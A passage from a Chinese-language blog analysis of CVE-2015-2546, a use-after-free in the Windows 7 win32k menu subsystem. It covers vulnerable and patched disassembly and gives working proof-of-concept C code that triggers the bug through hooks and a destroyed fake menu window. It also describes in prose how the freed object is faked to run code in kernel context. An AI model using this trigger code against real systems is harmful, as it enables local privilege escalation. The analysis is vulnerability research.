作者:Leeqwind
作者博客:https://xiaodaozhi.com/exploit/122.html
这篇文章将分析 Windows 操作系统 win32k
内核模块窗口管理器子系统中的 CVE-2015-2546 漏洞,与上一篇分析的 CVE-2017-0263 漏洞类似地,这个漏洞也是弹出菜单 tagPOPUPMENU
对象的释放后重用(UAF)漏洞。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机。
这篇文章分析了发生在窗口管理器(User)子系统的菜单管理组件中的 CVE-2015-2546 UAF(释放后重用)漏洞。在内核函数 xxxMNMouseMove
调用 xxxSendMessage
向目标菜单窗口对象发送 MN_SELECTITEM
消息期间,执行流存在发生用户回调的可能性;在发送消息的函数调用返回后,函数 xxxMNMouseMove
没有重新获取目标菜单窗口对象所关联的弹出菜单 tagPOPUPMENU
对象的地址,而直接使用在发送 MN_SELECTITEM
消息之前就存储在寄存器 ebx
中的弹出菜单对象地址,将该地对象址作为参数传递给 xxxMNHideNextHierarchy
函数调用,并在该函数中对目标弹出菜单对象进行访问。
如果用户进程先前通过利用技巧构造了特殊关联和属性的菜单窗口对象,并设置特定的挂钩处理程序,那么在调用 xxxSendMessage
向目标菜单窗口对象发送 MN_SELECTITEM
消息期间,执行流返回到用户上下文,用户进程中的利用代码将有足够的能力触发销毁目标菜单窗口对象,从而在内核中直接释放菜单窗口对象关联的弹出菜单对象;当执行流返回到内核上下文时,寄存器 ebx
中存储的地址指向的内存已被释放,而函数在将该地址作为参数传递给函数 xxxMNHideNextHierarchy
之前缺少必要的验证,这将导致 UAF 漏洞的发生。
在触发销毁目标菜单窗口对象之后,用户进程中的利用代码通过巧妙的内存布局,使系统重新分配相同大小的内存区域以占用先前释放的弹出菜单对象的内存块,伪造新的弹出菜单对象并构造相关成员域,在用户进程地址空间中伪造新的子菜单窗口对象和关联的消息处理函数,并将窗口对象的地址存储在伪造的弹出菜单对象成员域 spwndNextPopup
中。在内核中函数 xxxMNHideNextHierarchy
将向目标弹出菜单对象的成员域 spwndNextPopup
指向的子菜单窗口对象发送 MN_SELECTITEM
消息,这将使执行流直接在内核上下文中直接进入定义在用户进程地址空间中的伪造消息处理函数,执行函数中的内核利用代码,实现内核利用和提权的目的。
CVE-2015-2546 漏洞发生在内核函数 win32k!xxxMNMouseMove
中。在该函数执行期间,在调用函数 xxxSendMessage
向目标菜单窗口对象发送 0x1F0
(MN_SETTIMERTOOPENHIERARCHY
) 消息之后,如果函数返回值为 0
,系统将在未对寄存器 ebx
中存储的目标弹出菜单 tagPOPUPMENU
对象的内存地址进行有效性校验的情况下就调用函数 xxxMNHideNextHierarchy
并将该地址传入函数的 popupMenu
参数。
.text:00139530 push edi ; lParam
.text:00139531 push edi ; wParam
.text:00139532 push 1F0h ; message
.text:00139537 push esi ; pwnd
.text:00139538 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:0013953D test eax, eax
.text:0013953F jnz short loc_139583
.text:00139541 push ebx ; popupMenu
.text:00139542 call _xxxMNHideNextHierarchy@4 ; xxxMNHideNextHierarchy(x)
.text:00139547 jmp short loc_139583
存在漏洞的目标代码片段
与补丁进行对比,发现补丁在调用函数 xxxSendMessage
发送 MN_SETTIMERTOOPENHIERARCHY
消息和调用函数 xxxMNHideNextHierarchy
的语句之间增加对目标窗口对象扩展区域指向关联弹出菜单对象的指针和寄存器 ebx
中存储数值的对比判断,如果不相等则将跳过函数 xxxMNHideNextHierarchy
的调用。
.text:BF93EC2E push edi ; lParam
.text:BF93EC2F push edi ; wParam
.text:BF93EC30 push 1F0h ; message
.text:BF93EC35 push esi ; pwnd
.text:BF93EC36 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF93EC3B test eax, eax
.text:BF93EC3D jnz short loc_BF93EC8C
.text:BF93EC3F mov eax, [ebp+pwnd]
.text:BF93EC42 cmp [eax+0B0h], ebx
.text:BF93EC48 jnz short loc_BF93EC8C
.text:BF93EC4A push ebx
.text:BF93EC4B call _xxxMNHideNextHierarchy@4 ; xxxMNHideNextHierarchy(x)
.text:BF93EC50 jmp short loc_BF93EC8C
补丁修复的目标代码片段
在 Windows 内核中,菜单对象在屏幕中的显示通过窗口 tagWND
对象的特殊类型 #32768
(MENUCLASS
) 菜单窗口对象来实现,菜单窗口对象末尾的扩展区域中存储指向关联的弹出菜单 tagPOPUPMENU
对象的指针。
菜单窗口对象和弹出菜单对象的对应关系
当函数 xxxSendMessage
发送 MN_SETTIMERTOOPENHIERARCHY
消息时,系统最终在函数 xxxMenuWindowProc
中接收并调用函数 MNSetTimerToOpenHierarchy
以处理消息并向调用者返回该函数的返回值。
当执行流返回到函数 xxxMNMouseMove
中时,系统判断返回值,如果返回值为 0
则调用函数 xxxMNHideNextHierarchy
以关闭目标弹出菜单 tagPOPUPMENU
对象的弹出子菜单。
由于在调用函数 xxxMNHideNextHierarchy
之前,函数 xxxMNMouseMove
中还存在调用 xxxSendMessage
函数以发送 MN_SETTIMERTOOPENHIERARCHY
消息的语句,这将有可能导致执行流反向调用到用户进程中。因此,在此期间攻击者可以在用户进程中触发逻辑使目标弹出菜单 tagPOPUPMENU
对象的内存被释放或重新分配,这将导致目标参数 popupMenu
指向内存区域中存在不可控的数据。如果攻击代码对在原位置重新分配的内存块中的数据进行刻意构造,那么在函数 xxxMNHideNextHierarchy
中向子菜单窗口对象发送消息时,将使内核上下文的执行流可能直接进入位于用户进程地址空间的利用代码函数中。
在 win32k
内核模块中,存在来自其他函数的两处对函数 xxxMNMouseMove
的调用:
其中一处是在函数 xxxHandleMenuMessages
处理 WM_MOUSEMOVE
或 WM_NCMOUSEMOVE
消息时,另一处是在函数 xxxMenuWindowProc
处理 MN_MOUSEMOVE
消息时。
通过 WinDBG 对函数 xxxMNMouseMove
下断点并在虚拟机桌面区域弹出右键菜单,观测在自然条件下系统会通过哪些路径调用该函数,发现得到的调用栈都基本如下:
# ChildEBP RetAddr
00 98af4a90 94779066 win32k!xxxMNMouseMove
01 98af4aec 94778c1f win32k!xxxHandleMenuMessages+0x2ed
02 98af4b38 9477f8f1 win32k!xxxMNLoop+0x2c6
03 98af4ba0 9477f9dc win32k!xxxTrackPopupMenuEx+0x5cd
04 98af4c14 83e501ea win32k!NtUserTrackPopupMenuEx+0xc3
05 98af4c14 76e170b4 nt!KiFastCallEntry+0x12a
函数 xxxMNMouseMove 的自然条件调用栈
xxxMNMouseMove
在函数 xxxMNMouseMove
开始的位置,函数判断通过参数传入的弹出菜单 tagPOPUPMENU
对象是否为当前的根弹出菜单对象,并判断传入的鼠标坐标与先前存储在当前菜单状态 tagMENUSTATE
结构体的坐标相比是否确实改变,如果不满足条件则直接返回。接下来函数通过调用 xxxMNFindWindowFromPoint
函数并将目标弹出菜单对象指针和新的坐标作为参数传入,以查找该坐标点坐落的在屏幕中显示的菜单窗口对象。当返回值是真实的菜单窗口对象地址时,函数将该窗口对象作为目标窗口对象,将鼠标坐标位于的菜单项序号作为参数 wParam
向目标窗口对象发送 0x1E5
(MN_SELECTITEM
) 消息以执行选择菜单项的操作,并接收函数的返回值作为反馈标志变量。
在函数 xxxMNMouseMove
中调用 xxxSendMessage
以发送 MN_SETTIMERTOOPENHIERARCHY
消息的语句之前,函数判断前面返回的反馈标志变量的数值,以确保被指针指向的菜单项关联另一个弹出式菜单(MF_POPUP
)作为子菜单,并且不处于禁用状态(MFS_GRAYED
)。
.text:00139517 xor edi, edi
.text:00139519 push edi ; lParam
.text:0013951A push [ebp+cmdItem] ; wParam
.text:0013951D push 1E5h ; message
.text:00139522 push esi ; pwnd
.text:00139523 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:00139528 test al, 10h ; MF_POPUP
.text:0013952A jz short loc_139583
.text:0013952C test al, 3 ; MFS_GRAYED
.text:0013952E jnz short loc_139583
函数 xxxMNMouseMove 判断选择菜单项反馈的标志变量数值
接下来函数通过调用函数 xxxSendMessage
向目标菜单窗口对象发送 MN_SETTIMERTOOPENHIERARCHY
消息来设置打开弹出子菜单的定时器。如果函数返回值为 0
表示弹出子菜单的操作执行失败,那么函数调用 xxxMNHideNextHierarchy
来关闭所属于当前的目标弹出菜单对象的子弹出菜单。
popupNext = popupMenu->spwndNextPopup;
if ( popupNext )
{
[...]
popupNext = popupMenu->spwndNextPopup;
if ( popupNext != popupMenu->spwndActivePopup )
xxxSendMessage(popupNext, 0x1E4, 0, 0); // MN_CLOSEHIERARCHY
xxxSendMessage(popupMenu->spwndNextPopup, 0x1E5, 0xFFFFFFFF, 0); // MN_SELECTITEM
[...]
}
函数 xxxMNHideNextHierarchy 的代码片段
函数 xxxMNHideNextHierarchy
判断目标弹出菜单对象的成员域 spwndNextPopup
指向的菜单窗口对象是否和成员域 spwndActivePopup
指向的相同。成员域 spwndNextPopup
指向与当前弹出菜单对象直接关联的子菜单的菜单窗口对象;而成员域 spwndActivePopup
用来存储当前正活跃菜单(即当前鼠标或键盘焦点所在的菜单)的菜单窗口对象。如果不相同,那么函数向成员域 spwndNextPopup
指向的子菜单窗口对象发送 MN_CLOSEHIERARCHY
消息,最终在消息处理函数 xxxMenuWindowProc
中接收该消息并对目标窗口对象关联的弹出菜单对象调用 xxxMNCloseHierarchy
以处理关闭子菜单的菜单对象菜单层叠状态的任务。
紧接着函数调用 xxxSendMessage
向子菜单窗口对象发送 MN_SELECTITEM
消息并向参数 wParam
传入 0xFFFFFFFF
数值以表示没有选择真实的菜单项,最终消息处理程序调用函数 xxxMNSelectItem
来处理选择菜单项的任务。
函数 xxxMNMouseMove 的简要执行逻辑
像前面提到的那样,函数 xxxMNHideNextHierarchy
在调用 xxxSendMessage
向成员域 spwndNextPopup
指向的子菜单窗口对象发送消息之前缺少对目标弹出菜单对象和传入参数的子菜单窗口对象进行必要的验证。
xxxMNFindWindowFromPoint
弹出菜单和其存在的子弹出菜单通过弹出菜单对象的成员域 spwndNextPopup
和 spwndPrevPopup
相互关联。
弹出菜单对象和其存在的子弹出菜单对象的关联
像函数名称前缀 xxx
所代表的含义那样,函数 xxxMNFindWindowFromPoint
中存在回调到用户上下文执行的代码逻辑。函数判断第一个参数指向的弹出菜单 tagPOPUPMENU
对象的成员域 spwndNextPopup
是否指向存在的子菜单窗口对象,如果是则函数调用 xxxSendMessage
向子菜单窗口对象发送 MN_FINDMENUWINDOWFROMPOINT
消息以将查找坐标点坐落的菜单窗口对象的任务暂时交给子菜单对象执行。
*puIndex = 0;
pwndNextPopup = popupMenu->spwndNextPopup;
if ( pwndNextPopup )
{
tlpwndT = gptiCurrent->ptl;
gptiCurrent->ptl = (_TL *)&tlpwndT;
v24 = pwndNextPopup;
++pwndNextPopup->head.cLockObj;
longHit = xxxSendMessage(
popupMenu->spwndNextPopup,
0x1EB, // MN_FINDMENUWINDOWFROMPOINT
(WPARAM)&itemHit,
(unsigned __int16)screenPt | (screenPt >> 16 << 16));
ThreadUnlock1();
if ( IsMFMWFPWindow(longHit) )
longHit = HMValidateHandleNoSecure((HWND)longHit, 1);
if ( longHit )
{
*puIndex = itemHit;
return longHit;
}
}
函数 xxxMNFindWindowFromPoint 的代码逻辑片段
在通过函数 xxxSendMessageTimeout
向窗口对象发送消息时,系统在调用对象指定的消息处理程序之前,还会调用 xxxCallHook
函数用来调用先前由用户进程设定的 WH_CALLWNDPROC
类型的挂钩处理程序。设置这种类型的挂钩会在每次线程将消息发送给窗口对象之前调用。
if ( (LOBYTE(gptiCurrent->fsHooks) | LOBYTE(gptiCurrent->pDeskInfo->fsHooks)) & 0x20 )
{
v22 = pwnd->head.h;
v20 = wParam;
v19 = lParam;
v21 = message;
v23 = 0;
xxxCallHook(0, 0, &v19, 4); // WH_CALLWNDPROC
}
函数 xxxSendMessageTimeout 调用 xxxCallHook 函数
系统最终在菜单窗口消息处理函数 xxxMenuWindowProc
中接收并处理 MN_FINDMENUWINDOWFROMPOINT
消息,并将子菜单窗口对象的弹出菜单对象作为目标参数以继续调用 xxxMNFindWindowFromPoint
函数。
case 0x1EBu:
pwnd = xxxMNFindWindowFromPoint((WCHAR)popupMenu, wParam, (int)lprc);
if ( IsMFMWFPWindow(pwnd) )
{
if ( !pwnd )
return 0;
lRet = (LRESULT)*pwnd; // pwnd->head.h
}
else
{
lRet = pwnd;
}
return lRet;
函数 xxxMenuWindowProc 处理 MN_FINDMENUWINDOWFROMPOINT 消息
函数 xxxSendMessage
向调用者函数 xxxMNFindWindowFromPoint
返回通过子菜单窗口对象查找的坐标点坐落窗口对象的用户句柄。接下来函数将该句柄转换成窗口对象指针,如果该指针指向真实的菜单窗口对象,则直接将该指针作为返回值返回。然而,如果目标弹出菜单对象的成员域 spwndNextPopup
不存在关联的子菜单窗口对象,或是函数 xxxSendMessage
返回的是 0xFFFFFFFB
或 0xFFFFFFFF
等代表窗口对象未找到的返回值,那么函数将继续向下执行,转而通过弹出菜单对象成员域 spwndPopupMenu
指向的当前菜单窗口对象执行查找任务。
函数 xxxMNFindWindowFromPoint 的简要执行流
xxxMNDestroyHandler
当在内核中调用函数 xxxDestroyWindow
销毁特定的菜单窗口对象期间,系统在函数 xxxFreeWindow
中根据目标窗口对象的成员域 fnid
的值调用对应的消息处理包装函数 xxxWrapMenuWindowProc
并传入 WM_FINALDESTROY
消息参数,最终在函数 xxxMenuWindowProc
中接收该消息并通过调用函数 xxxMNDestroyHandler
对目标菜单窗口对象关联的弹出菜单对象执行清理相关数据的任务。
.text:0008D9B6 lea ecx, [eax+6]
.text:0008D9B9 xor eax, eax
.text:0008D9BB push eax
.text:0008D9BC push eax
.text:0008D9BD push eax
.text:0008D9BE mov eax, _gpsi
.text:0008D9C3 push 70h ; WM_FINALDESTROY
.text:0008D9C5 and ecx, 1Fh
.text:0008D9C8 push esi
.text:0008D9C9 call dword ptr [eax+ecx*4+8]
函数 xxxFreeWindow 根据成员域 fnid 调用消息处理包装函数
在函数 xxxMNDestroyHandler
的末尾,函数将位于目标菜单窗口 tagWND
对象末尾扩展区域中指向关联的弹出菜单对象的指针置空;然后判断目标弹出菜单对象的成员标志位 fDelayedFree
是否处于置位状态,并据此决定是在完整菜单终止时再进行对目标弹出菜单对象的延时释放,还是在当前时刻立即释放目标弹出菜单对象。
pwnd = popupMenu->spwndPopupMenu;
*(_DWORD *)popupMenu |= 0x8000u; // fDestroyed
if ( pwnd )
*(_DWORD *)(pwnd + 0xB0) = 0; // Pointer to popupMenu
if ( *((_BYTE *)popupMenu + 2) & 1 ) // fDelayedFree
{
popupmenuRoot = popupMenu->ppopupmenuRoot;
if ( popupmenuRoot )
*(_DWORD *)popupmenuRoot |= 0x20000u; // ppopupmenuRoot->fFlushDelayedFree
}
else
{
MNFreePopup(popupMenu);
}
函数 xxxMNDestroyHandler 的代码片段
在内核中通过正规途径创建上下文弹出菜单对象时,根弹出菜单对象或子弹出菜单对象的成员标志位 fDelayedFree
默认情况下都会在函数 xxxTrackPopupMenuEx
或 xxxMNOpenHierarchy
中被置位。
另外,和本分析中的漏洞相关的更多系统机制在我之前的分析文章《从 CVE-2017-0263 漏洞分析到菜单管理组件》中有更详尽的涉及,如果感兴趣的话请点击链接移步。
通过在桌面点击鼠标右键,并使鼠标指针指向某个作为子弹出菜单入口的子菜单项(如“新建”命令)以尝试使执行流触达漏洞所在的位置,我发现始终无法命中,这是由于系统每次向目标菜单窗口发送 MN_SETTIMERTOOPENHIERARCHY
消息时都执行成功并返回成功的返回值,这样一来自然就不会触达漏洞所在的 xxxMNHideNextHierarchy
函数调用,因此需要自行构造验证代码以实现漏洞触发。
接下来谈一下触发的思路:
#1 使 MN_SETTIMERTOOPENHIERARCHY 消息返回失败
在函数 xxxMNMouseMove
执行期间,要想使发送 MN_SETTIMERTOOPENHIERARCHY
消息的 xxxSendMessage
函数调用返回失败的返回值,最直接的做法就是在调用之前的某个时机将目标菜单窗口对象的消息处理函数篡改为在用户进程中的自定义消息处理函数,并在自定义消息处理函数中针对这种消息返回失败的返回值。
#2 释放目标弹出菜单对象
要想在漏洞所在位置触发释放后重用(UAF)漏洞,则需要在适当时机执行对目标弹出菜单 tagPOPUPMENU
对象的释放。这个操作最好能在通过函数 xxxSendMessage
发送 MN_SETTIMERTOOPENHIERARCHY
消息期间执行。
前面已经提到,在发送消息时,调用对象指定的消息处理函数之前,系统会调用 xxxCallHook
函数分发调用先前由用户进程定义的 WH_CALLWNDPROC
窗口挂钩处理程序。因此,我们可以通过设置这种类型的挂钩处理程序,并在处理程序函数中对目标菜单窗口对象调用 DestroyWindow
等函数以触发对目标窗口对象的销毁操作。
调用 DestroyWindow
函数时,在内核中将进入函数 xxxDestroyWindow
中执行对目标菜单窗口对象的销毁操作。最终在内核函数 xxxMNDestroyHandler
中,如果目标菜单窗口对象的成员标志位 fDelayedFree
未置位,那么系统将直接调用函数 MNFreePopup
释放目标弹出菜单对象。
释放目标弹出菜单对象的思路
然而,在内核中通过正规途径创建上下文弹出菜单对象时,根弹出菜单对象或子弹出菜单对象的成员标志位 fDelayedFree
默认情况下都会在函数 xxxTrackPopupMenuEx
或 xxxMNOpenHierarchy
中被置位,因此我们需要先前单独创建窗口类型为 #32768
(MENUCLASS
) 的窗口对象作为被利用的目标对象,而不是使用通过正规途径创建的菜单窗口对象,这样一来新创建的菜单窗口对象同样存在通过扩展区域关联的弹出菜单 tagPOPUPMENU
对象作为扩展对象,并且所关联的弹出菜单 tagPOPUPMENU
对象的成员域 fDelayedFree
将不会被置位,后续在函数 xxxMNDestroyHandler
中的释放操作将立即执行。
#3 使 xxxMNFindWindowFromPoint 返回目标窗口对象
由于用来利用的目标菜单窗口对象是我们单独创建的,并不存在具体对应的某个菜单实体对象,因此通常情况下函数 xxxMNFindWindowFromPoint
不可能返回我们创建的菜单窗口对象指针。
根据前面的分析,函数 xxxMNFindWindowFromPoint
判断通过参数传入的弹出菜单对象成员域 spwndNextPopup
是否指向存在的子菜单窗口对象,如果是则调用 xxxSendMessage
向子菜单窗口对象发送 MN_FINDMENUWINDOWFROMPOINT
以将查找坐标点坐落的菜单窗口对象的任务暂时交给子菜单对象执行。
这样一来,可以通过将子菜单窗口对象的消息处理函数成员域篡改为用户进程中的自定义消息处理函数,并在自定义消息处理函数中返回我们先前创建的用来利用的目标菜单窗口对象的句柄。因此,函数 xxxMNFindWindowFromPoint
将收到由 xxxSendMessage
函数返回的真实的窗口对象句柄,并在转换成对象指针后向上级调用者返回。
而由于子菜单窗口对象关联具体的菜单,很多向其发送的消息需要在消息处理函数 xxxMenuWindowProc
中执行,因此需要在较为接近的时机替换。这可以通过设置 WH_CALLWNDPROC
窗口挂钩处理程序来执行。
#4 触发鼠标移动消息
这样一来,这就需要在利用代码中创建相互关联的根菜单和子菜单。
当子菜单完成在屏幕中的显示时,根菜单窗口对象和子菜单窗口对象已经通过各自的弹出菜单 tagPOPUPMENU
对象完成关联。在这一时机通过在用户进程定义的事件通知处理程序函数中调用函数 SendMessage
向根菜单窗口对象发送 WM_MOUSEMOVE
消息,可以使系统在内核中进入函数 xxxMNMouseMove
调用。
验证代码的实现
接下来根据思路实现具体的验证代码,用户进程中验证代码的大部分代码逻辑都在新创建的单独线程中执行。
在验证代码的主函数中通过 CreatePopupMenu
等函数创建两个弹出式的菜单对象,并在添加菜单项时将两个菜单对象相互关联,使第二个成为第一个的子菜单。
HMENU hMenuList[2] = { 0 };
hMenuList[0] = CreatePopupMenu();
hMenuList[1] = CreatePopupMenu();
MENUINFO mi = { 0 };
mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuList[0], &mi);
SetMenuInfo(hMenuList[1], &mi);
LPCSTR szMenuItem = "item";
AppendMenuA(hMenuList[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuList[1], szMenuItem);
AppendMenuA(hMenuList[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);
创建并关联根菜单和子菜单对象的验证代码
菜单的显示需要有用于承载的窗口作为菜单的拥有者窗口对象。注册并创建普通窗口类和窗口对象并将句柄存储在 hWindowMain
全局变量中:
WNDCLASSEXW wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = cbWndExtra;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = lpszClassName;
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"WNDCLASSMAIN",
NULL,
WS_VISIBLE,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
创建拥有者窗口对象的验证代码
接下来创建关键的 #32768
类型的菜单窗口对象并将句柄存储在 hwndFakeMenu
全局变量中,这个窗口对象接下来将作为用来利用的目标对象。同时将新创建目标窗口对象的消息处理函数成员域篡改为由验证代码后续自定义的 xxFakeMenuWindowProc
消息处理函数。
hwndFakeMenu = CreateWindowExW(WS_EX_TOOLWINDOW | WS_EX_DLGMODALFRAME | WS_EX_WINDOWEDGE,
L"#32768",
NULL,
WS_POPUP | WS_BORDER,
0,
0,
1,
1,
NULL,
NULL,
NULL,
NULL);
SetWindowLongW(hwndFakeMenu, GWL_WNDPROC, (LONG)xxFakeMenuWindowProc);
创建用来利用的菜单窗口对象的验证代码
设置类型为 WH_CALLWNDPROC
的自定义挂钩处理程序,并设置范围包括 EVENT_SYSTEM_MENUPOPUPSTART
的自定义事件通知处理程序。
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
设置自定义挂钩处理程序和事件通知处理程序的验证代码
接下来通过调用 TrackPopupMenuEx
函数触发作为根菜单的第一个菜单对象在屏幕中的显示;然后使用 GetMessage
使当前线程进入消息循环状态。
TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
触发第根菜单对象在屏幕中显示的验证代码
当用户进程调用函数 TrackPopupMenuEx
时,系统在内核中最终调用到 xxxTrackPopupMenuEx
函数处理弹出菜单操作。在显示任务执行完成时,函数调用 xxxWindowEvent
以分发 EVENT_SYSTEM_MENUPOPUPSTART
类型的事件通知,这表示目标菜单对象已显示在屏幕中。
在该事件通知分发后,执行流会进入验证代码自定义的事件通知处理程序 xxWindowEventProc
中。在处理程序中进行计数,并存储每次进入时的窗口句柄 hwnd
参数。当第一次进入处理程序函数时,表示根菜单已显示在屏幕中,处理程序将窗口句柄参数存储在全局变量 hwndRootMenu
中,并调用函数 SendMessage
向根菜单窗口对象发送 WM_LBUTTONDOWN
鼠标左键按下的消息以触发子菜单的弹出显示,并在参数 lParam
传入鼠标按下的相对坐标,坐标值应在当前菜单的子菜单项区域范围内,这将在内核中进入函数 xxxMNOpenHierarchy
处理子菜单的显示。与前面同样地,在显示任务执行完成时,函数调用 xxxWindowEvent
以分发 EVENT_SYSTEM_MENUPOPUPSTART
类型的事件通知,这表示目标菜单对象已显示在屏幕中。
当第二次进入处理程序函数时,表示子菜单已显示在屏幕中,根菜单窗口对象和子菜单窗口对象此时已经通过各自的弹出菜单 tagPOPUPMENU
对象完成关联。处理程序将窗口句柄参数存储在全局变量 hwndHintMenu
中,并调用函数 SendMessage
向第一次进入时存储的根菜单窗口对象 hwndRootMenu
发送 WM_MOUSEMOVE
鼠标移动的消息。这将使执行流在内核中进入 xxxMNMouseMove
函数中。
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
switch (iMenuCreated)
{
case 0:
hwndRootMenu = hwnd;
SendMessageW(hwndRootMenu, WM_LBUTTONDOWN, 0, 0x00050005);
break;
case 1:
hwndHintMenu = hwnd;
SendMessageW(hwndRootMenu, WM_MOUSEMOVE, 0, 0x00060006);
break;
}
iMenuCreated++;
}
验证代码自定义的事件通知处理程序函数
需要注意的是,这两次对函数 SendMessage
的调用中,参数 lParam
均作为鼠标指针的相对坐标,其 32
位数据的高低 16
位分别存储横坐标和纵坐标的相对值。两次调用时传入的 lParam
参数不能重复,否则将导致在函数 xxxMNMouseMove
中判断坐标是否改变时得到未改变的结果,函数将直接返回。
在函数 xxxMNMouseMove
执行期间,系统调用函数 xxxMNFindWindowFromPoint
在查找坐标点坐落的菜单窗口对象指针。由于我们为根菜单创建并关联了子菜单对象,并且子菜单对象已显示在屏幕中,因此当前的根弹出菜单对象成员域 spwndNextPopup
指向子菜单窗口对象的地址。函数 xxxMNFindWindowFromPoint
将向子菜单窗口对象发送 MN_FINDMENUWINDOWFROMPOINT
消息。在函数 xxxSendMessageTimeout
调用对象指定的消息处理程序之前,将首先调用 xxxCallHook
函数以分发先前由用户进程设定的 WH_CALLWNDPROC
类型的挂钩处理程序。这将进入先前验证代码自定义的挂钩处理程序函数 xxWindowHookProc
中。
在自定义挂钩处理程序函数中,参数 lParam
指向 tagCWPSTRUCT
类型的对象。验证代码判断 tagCWPSTRUCT
对象的成员域 message
的值,当该值为 0x1EB
时,表示当前在内核中正处于在函数 xxxSendMessageTimeout
中调用子菜单窗口对象的消息处理函数以投递 MN_FINDMENUWINDOWFROMPOINT
消息之前。
验证代码判断当前的目标窗口对象句柄是否为先前存储的子菜单窗口句柄,如果是的话则修改目标窗口对象的消息处理函数为自定义的 xxHintMenuWindowProc
消息处理函数。
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
if (cwp->message == 0x1EB && cwp->hwnd == hwndHintMenu)
{
// MN_FINDMENUWINDOWFROMPOINT
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxHintMenuWindowProc);
}
return CallNextHookEx(0, code, wParam, lParam);
}
验证代码自定义的挂钩处理程序函数
执行流回到 xxxSendMessageTimeout
函数中,此时目标菜单窗口对象的消息处理函数已被篡改为自定义的 xxHintMenuWindowProc
消息处理函数,因此将在接下来回调到用户上下文执行该自定义消息处理函数实现消息投递。在函数 xxHintMenuWindowProc
中直接返回先前创建用于利用的 hwndFakeMenu
窗口对象句柄。
LRESULT WINAPI
xxHintMenuWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == 0x1EB)
{
return (LRESULT)hwndFakeMenu;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
验证代码自定义的子菜单窗口对象消息处理函数
在内核中,函数 xxxMNFindWindowFromPoint
将 xxxSendMessage
函数的返回值作为查找到的窗口句柄并转换成窗口对象,将窗口对象地址作为返回值向上级调用者返回。
在执行一系列的判断等操作之后,函数 xxxMNMouseMove
调用 xxxSendMessage
函数向查找到的目标菜单窗口对象发送 MN_SELECTITEM
消息。这将进入验证代码自定义的利用菜单窗口对象消息处理函数 xxFakeMenuWindowProc
中。
在函数 xxFakeMenuWindowProc
中,验证代码判断消息参数的值。当消息参数值为 0x1E5
时,表示当前正在处理的是 MN_SELECTITEM
消息,根据内核函数的代码逻辑,验证代码在这里将 MF_POPUP
(0x00000010L
) 作为返回值返回。
函数 xxxMNMouseMove
在对返回的标志变量进行判断之后,调用函数 xxxSendMessage
发送向目标菜单窗口对象发送 MN_SETTIMERTOOPENHIERARCHY
消息。这将再次进入自定义消息处理函数中。
在函数 xxFakeMenuWindowProc
中,验证代码判断消息参数值为 0x1F0
时,直接将 0
作为返回值返回。在内核中函数将得到“调用失败”的返回值,因此将继续向下调用 xxxMNHideNextHierarchy
函数。
LRESULT WINAPI
xxFakeMenuWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
switch (msg)
{
case 0x1E5:
return (LRESULT)MF_POPUP;
case 0x1F0:
return (LRESULT)0;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
验证代码自定义的利用菜单窗口对象消息处理函数
在调用对象指定的消息处理函数以投递 MN_SETTIMERTOOPENHIERARCHY
消息之前,函数 xxxSendMessageTimeout
还调用 xxxCallHook
函数分发挂钩处理程序。在自定义的挂钩处理程序函数 xxWindowHookProc
中,增加对成员域 message
数值的判断:
当 message
数值为 0x1F0
时,验证代码调用 DestroyWindow
触发销毁先前创建用来利用的 hwndFakeMenu
菜单窗口对象。
if (cwp->message == 0x1F0)
{
DestroyWindow(hwndFakeMenu);
}
自定义挂钩处理程序函数增加 message 判断处理逻辑
此时在内核中将对目标菜单窗口对象调用 xxxDestroyWindow
函数。在该函数执行期间,由于成员域 fDelayFree
未被置位,目标菜单窗口对象所关联的弹出菜单 tagPOPUPMENU
对象将被立刻销毁,扩展区域指向弹出菜单对象的指针将被置空。而由于锁计数尚未归零,因此目标菜单窗口对象将仍旧存留与内核中,暂时不会被释放。
当执行流回到函数 xxxMNMouseMove
中时,目标弹出菜单对象已被销毁并释放,但寄存器 edx
仍旧存储被释放弹出菜单对象的地址,在没有对该地址进行有效性判断的前提下,函数直接调用 xxxMNHideNextHierarchy
函数,导致释放后重用漏洞的触发。
释放后重用的触发
在函数 xxxMNMouseMove
中调用 xxxSendMessage
发送 MN_SETTIMERTOOPENHIERARCHY
